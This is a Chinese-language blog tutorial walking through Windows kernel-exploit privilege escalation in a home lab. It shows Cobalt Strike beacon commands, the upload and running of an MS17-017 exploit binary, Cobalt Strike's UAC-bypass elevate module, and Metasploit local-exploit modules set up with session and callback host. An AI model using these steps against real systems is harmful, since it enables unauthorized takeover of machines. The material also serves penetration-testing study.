关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:系统内核溢出漏洞提权介绍
注意:提权很容易让电脑蓝屏,所以如果是测试的话,提权前最好做好系统备份。
溢出漏洞就像是往杯子里装水 —— 如果水太多,被子装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁 —— 即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性 —— 如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方式提权,就必须找出目标系统的 0day 漏洞。
0x0101:远程溢出漏洞 & 本地溢出漏洞
溢出提权从形式上可以分为远程溢出和本地溢出。
远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程 Windows 服务器的 System 权限(比如 MS17-010 漏洞,你只需要填写靶机的 IP,就自动拿到高权限了)。
本地溢出是主流的提权方式,通常需要向目标服务器上传本地溢出程序,然后在服务器中执行,如果目标系统中存在该漏洞,那么将会溢出获得 Windows 操作系统 System 权限。
0x0102:溢出漏洞提权的基本步骤
缓冲区溢出漏洞提权的基本步骤如下:
-
信息收集:查看当前权限、操作系统版本、操作系统已经安装的补丁。
-
根据收集到的信息查找目标机器上未安装的补丁对应的提权漏洞。
-
根据漏洞查找 EXP
-
使用 EXP 提权。
0x02:Windows 系统内核溢出漏洞实战
实验环境简介
靶机 Windows 7 :IP 192.168.0.118
攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端
辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端
0x0201:靶机信息收集
我们首先先让靶机上线 CS,并确保通过 CS 能够进行远控:
输入下面的命令,查看当前用户的权限:
shell whoami # 结果: blue17-pc\defender-windows 7,不是管理员
shell whoami /groups # 查看权限等级
输入下面的命令,查看系统补丁信息:
shell systeminfo
0x0202:手动寻找提权 EXP 提权
1. 定位目标可能存在的提权漏洞
将上面拿到的系统信息,复制到下面这个网站,来寻找目标系统可能存在的提权漏洞(这种站点非常多,相关工具也很多,可以自己收集一些):
url: https://www.adminxe.com/CompareSys/
title: "Windows提权对比辅助"
host: www.adminxe.com
2. 使用漏洞对应的 EXP 进行提权
找到了目标可能存在的提权漏洞后,下一步就是去寻找对应的提权 EXP,然后一个个试。
比如上面的第一个 MS17-017 漏洞,巧了,笔者这里就有 EXP,还有使用说明(不同的 EXP 用法不一样,详情还是得看使用说明):
将 MS17-017.exe 上传到靶机:
然后在 CS 命令行运行该工具即可进行提权:
shell MS17-017.exe
挺可惜的哈,当我们在 CS 中运行这个 exe 尝试进行提权失败了,完了靶机还给弹窗了。虽然这个是失败了,但是流程不变,我们上面扫了那么多的提权漏洞,按照上面的流程,搜索 EXP 一个一个试就可以了。
0x0203:Cobalt Strike 提权
使用 Cobalt Strike 提权就简单多了,右击上线靶机,选择 “Access” => “Elevate”(提权模块),然后随便配置一个监听器,点击 Launch 即可:
如上显示提权成功,值得注意的是,这里笔者选择的 Exploit 是 uac-token-duplication,是一个 UAC 绕过的提权(Windows 的 UAC 认证笔者前面在之前的章节中讲解过,这里就不讲解了),提权成功后,CS 客户端会再接收一个 Shell:
MSF 的提权还可以通过扩展插件完成,使用方法就是右击上线机器,选择对应模块,提就完了,不知道哪个可以用,你就一个一个试,试不出来,就可以去换 MSF 再试。
0x0204:Metasploit 提权
1. 使用 MSF 确定目标提权漏洞
首先先让目标上线 MSF,并将上线的会话使用 bg
命令挂起在后台(可以看到 session id 为 1):
然后使用 local_exploit_suggester 模块扫描目标可能存在的漏洞:
use post/multi/recon/local_exploit_suggester # 使用模块
set SESSION 1 # 设置扫描的会话 id
run # 启用漏洞扫描功能
2. 使用漏洞对应的 EXP 进行提权
下面就是从上往下,一个一个试了:
use exploit/windows/local/bypassuac_eventvwr # 这个是插件扫出来的模块
set SESSION 1 # 具体配置得看插件
set LPORT 4445 # 为了避免端口冲突
run
如上,第一个失败了,我们换第二个:
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move # 第二个插件
set SESSION 1 # 具体配置得看插件
set LHOST 192.168.0.100 # 这个是插件要求的
set LPORT 4445 # 为了避免端口冲突
run
如上,第二个也失败了,那就换第三个。反正也是就这么换下去。至于为啥上面会失败,笔者是这样想的,笔者使用的用户虽然叫 Defender-Windows 7 但其实这用户绕个 UAC 就有管理员权限了。所以它其实不是系统中的普通用户,它自己权限是足够高的,所以才会试验这么多提权都失败。
尽管演示结果是失败的,但是本文主要是讲解提权的思路,针对 Windows 内核溢出漏洞提权的流程就是上面演示的这样,收集目标信息,然后查找可能存在的提权漏洞,一个一个尝试。